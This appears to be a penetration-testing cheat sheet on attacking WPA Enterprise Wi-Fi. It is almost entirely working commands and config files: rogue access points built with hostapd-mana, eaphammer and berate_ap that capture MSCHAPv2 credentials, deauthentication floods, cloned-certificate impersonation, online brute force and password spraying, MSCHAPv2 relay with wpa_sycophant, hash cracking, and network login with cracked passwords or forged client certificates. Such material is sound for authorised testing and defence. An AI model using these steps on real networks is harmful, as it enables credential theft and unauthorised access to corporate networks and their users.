WPA Enterprise

Overview

WPA Enterprise authenticates users via 802.1X/RADIUS. Attacks target the authentication exchange itself: lure clients to a rogue AP, capture their MSCHAPv2 hashes or relay the challenge directly, then crack or relay to gain access. Attack flow:

Recon → Rogue AP → Deauth → Capture credentials → Crack / Relay

Attack 1. Rogue AP (Credential Capture)

Clients that don’t validate the server certificate connect to the rogue AP and expose their MSCHAPv2 challenge/response.

Manual (hostapd-mana)

Step 1: Generate FreeRADIUS certificates:

sudo apt install freeradius freeradius-utils
cd /etc/freeradius/3.0/certs
nano ca.cnf      # set country, org, CN
nano server.cnf  # set server details
rm dh && make

Step 2: EAP user file (/etc/hostapd-mana/mana.eap_user):

*    PEAP,TTLS,TLS,FAST
"t"  TTLS-PAP,TTLS-CHAP,TTLS-MSCHAP,MSCHAPV2,MD5,GTC,TTLS,TTLS-MSCHAPV2  "pass"  [2]

Step 3: hostapd-mana config (network.conf):

ssid=<TARGET-SSID>
interface=<INTERFACE>
driver=nl80211
channel=<CHANNEL>
hw_mode=a
ieee8021x=1
eap_server=1
eapol_key_index_workaround=0
eap_user_file=/etc/hostapd-mana/mana.eap_user
ca_cert=/etc/freeradius/3.0/certs/ca.pem
server_cert=/etc/freeradius/3.0/certs/server.pem
private_key=/etc/freeradius/3.0/certs/server.key
private_key_passwd=whatever
dh_file=/etc/freeradius/3.0/certs/dh
auth_algs=1
wpa=3
wpa_key_mgmt=WPA-EAP
wpa_pairwise=CCMP TKIP
mana_wpe=1
mana_credout=/tmp/hostapd.credoutfile
mana_eapsuccess=1
mana_eaptls=1

Step 4: Launch:

sudo hostapd-mana network.conf

Credentials written to /tmp/hostapd.credoutfile.

Tool (eaphammer)

Step 1: Generate self-signed certificate:

cd ~/tools/eaphammer
python3 ./eaphammer --cert-wizard

Step 2: Launch rogue AP:

python3 ./eaphammer -i wlan1 \
  --auth wpa-eap \
  --essid <TARGET-SSID> \
  --creds \
  --negotiate balanced

Deauth (both approaches)

Force clients off the real AP to trigger reconnection to the rogue:

iwconfig wlan0mon channel <CHANNEL>
aireplay-ng -0 0 -a <BSSID> wlan0mon -c <CLIENT-MAC>

Attack 2. Rogue AP with Cloned Certificate

When clients validate the server certificate, the rogue AP must present the real certificate to be trusted. Requires the CA and server cert obtained during recon.

Manual (berate_ap)

Convert certs to PEM and generate DH:

openssl x509 -in ca.crt     -out hostapd.ca.pem   -outform PEM
openssl x509 -in server.crt -out hostapd.cert.pem  -outform PEM
openssl rsa  -in server.key -out hostapd.key.pem
openssl dhparam -out hostapd.dh.pem 2048

Launch rogue AP with custom cert path:

cd ~/tools/berate_ap/
./berate_ap --eap --mana-wpe --wpa-sycophant \
  --mana-credout output.log \
  --eap-cert-path /path/to/certs/ \
  wlan1 lo <TARGET-SSID>

Tool (eaphammer)

Import the real certificate:

python3 ./eaphammer --cert-wizard import \
  --server-cert /path/to/server.crt \
  --ca-cert /path/to/ca.crt \
  --private-key /path/to/server.key \
  --private-key-passwd whatever

Launch rogue AP (same command as Attack 1):

python3 ./eaphammer -i wlan1 \
  --auth wpa-eap \
  --essid <TARGET-SSID> \
  --creds \
  --negotiate balanced

Attack 3. Online Brute Force (air-hammer)

When a valid username is known (from recon), brute force their password directly against the live AP. Brute force single user:

cd ~/tools/air-hammer
echo 'DOMAIN\username' > target.user
./air-hammer.py -i wlan1 -e <SSID> -p ~/rockyou-top100000.txt -u target.user

Password spray across multiple users:

cat ~/usernames.txt | awk '{print "DOMAIN\\" $1}' > ~/domain-users.txt
./air-hammer.py -i wlan1 -e <SSID> -P <PASSWORD> -u ~/domain-users.txt

Attack 4. MSCHAPv2 Relay (wpa_sycophant)

Relay the victim’s MSCHAPv2 challenge/response to the real AP, authenticates as the victim without knowing the password. Step 1: Set rogue AP MAC:

systemctl stop network-manager
ip link set wlan1 down
macchanger -m F0:9F:C2:00:00:00 wlan1
ip link set wlan1 up

Step 2: wpa_sycophant config:

network={
  ssid="<TARGET-SSID>"
  scan_ssid=1
  key_mgmt=WPA-EAP
  identity=""
  anonymous_identity=""
  password=""
  eap=PEAP
  phase1="crypto_binding=0 peaplabel=0"
  phase2="auth=MSCHAPV2"
  bssid_blacklist=F0:9F:C2:00:00:00
}

Shell 1: Rogue AP:

cd ~/tools/berate_ap/
./berate_ap --eap --mana-wpe --wpa-sycophant \
  --mana-credout output.log \
  wlan1 lo <TARGET-SSID>

Shell 2: Deauth target client:

airmon-ng start wlan0
iwconfig wlan0mon channel <CHANNEL>
aireplay-ng -0 0 wlan0mon -a <BSSID> -c <CLIENT-MAC>

Shell 3: Start relay:

cd ~/tools/wpa_sycophant/
./wpa_sycophant.sh -c wpa_sycophant_example.conf -i wlan2

Shell 4: Get IP:

dhclient wlan2 -v

If relay fails, change phase1:

phase1="peapver=1"

Cracking Captured Hashes

hashcat (mode 5500: MSCHAPv2):

# From eaphammer log
cat logs/hostapd-eaphammer.log | grep hashcat | awk '{print $3}' >> hashcat.5500

# Crack
hashcat -a 0 -m 5500 hashcat.5500 ~/rockyou.txt --force

hashcat (mode 5600: NTLMv2 from hostile portal):

hashcat -a 0 -m 5600 responder.5600 ~/rockyou.txt --force

asleap (from challenge/response pair):

asleap -C <CHALLENGE> -R <RESPONSE> -W ~/rockyou.txt

Authenticating with Obtained Credentials

PEAP/MSCHAPv2 (cracked password)

wpa-corp.conf:

network={
    ssid="<TARGET-SSID>"
    scan_ssid=1
    key_mgmt=WPA-EAP
    eap=PEAP
    identity="DOMAIN\username"
    password="<CRACKED-PASSWORD>"
    phase1="peaplabel=0"
    phase2="auth=MSCHAPV2"
}

sudo airmon-ng stop wlan0mon
sudo wpa_supplicant -Dnl80211 -i <INTERFACE> -c wpa-corp.conf
sudo dhclient <INTERFACE> -v

EAP-TLS (client certificate from obtained CA)

Generate client certificate using the real CA:

openssl genrsa -out client.key 2048
openssl req -config client.conf -new -key client.key -out client.csr
openssl x509 -days 730 -extfile client.ext \
  -CA ca.crt -CAkey ca.key -CAserial ca.serial \
  -in client.csr -req -out client.crt

wpa-tls.conf:

network={
    ssid="<TARGET-SSID>"
    scan_ssid=1
    mode=0
    proto=RSN
    key_mgmt=WPA-EAP
    auth_alg=OPEN
    eap=TLS
    identity="DOMAIN\username"
    ca_cert="./ca.crt"
    client_cert="./client.crt"
    private_key="./client.key"
    private_key_passwd="whatever"
}

sudo wpa_supplicant -Dnl80211 -i <INTERFACE> -c wpa-tls.conf
sudo dhclient <INTERFACE> -v

Setup

Tools

Connecting

Recon

Attacks

Rogue AP

Overview

Attack 1. Rogue AP (Credential Capture)

Manual (hostapd-mana)

Tool (eaphammer)

Deauth (both approaches)

Attack 2. Rogue AP with Cloned Certificate

Manual (berate_ap)

Tool (eaphammer)

Attack 3. Online Brute Force (air-hammer)

Attack 4. MSCHAPv2 Relay (wpa_sycophant)

Cracking Captured Hashes

Authenticating with Obtained Credentials

PEAP/MSCHAPv2 (cracked password)

EAP-TLS (client certificate from obtained CA)

​Overview

​Attack 1. Rogue AP (Credential Capture)

​Manual (hostapd-mana)

​Tool (eaphammer)

​Deauth (both approaches)

​Attack 2. Rogue AP with Cloned Certificate

​Manual (berate_ap)

​Tool (eaphammer)

​Attack 3. Online Brute Force (air-hammer)

​Attack 4. MSCHAPv2 Relay (wpa_sycophant)

​Cracking Captured Hashes

​Authenticating with Obtained Credentials

​PEAP/MSCHAPv2 (cracked password)

​EAP-TLS (client certificate from obtained CA)

Overview

Attack 1. Rogue AP (Credential Capture)

Manual (hostapd-mana)

Tool (eaphammer)

Deauth (both approaches)

Attack 2. Rogue AP with Cloned Certificate

Manual (berate_ap)

Tool (eaphammer)

Attack 3. Online Brute Force (air-hammer)

Attack 4. MSCHAPv2 Relay (wpa_sycophant)

Cracking Captured Hashes

Authenticating with Obtained Credentials

PEAP/MSCHAPv2 (cracked password)

EAP-TLS (client certificate from obtained CA)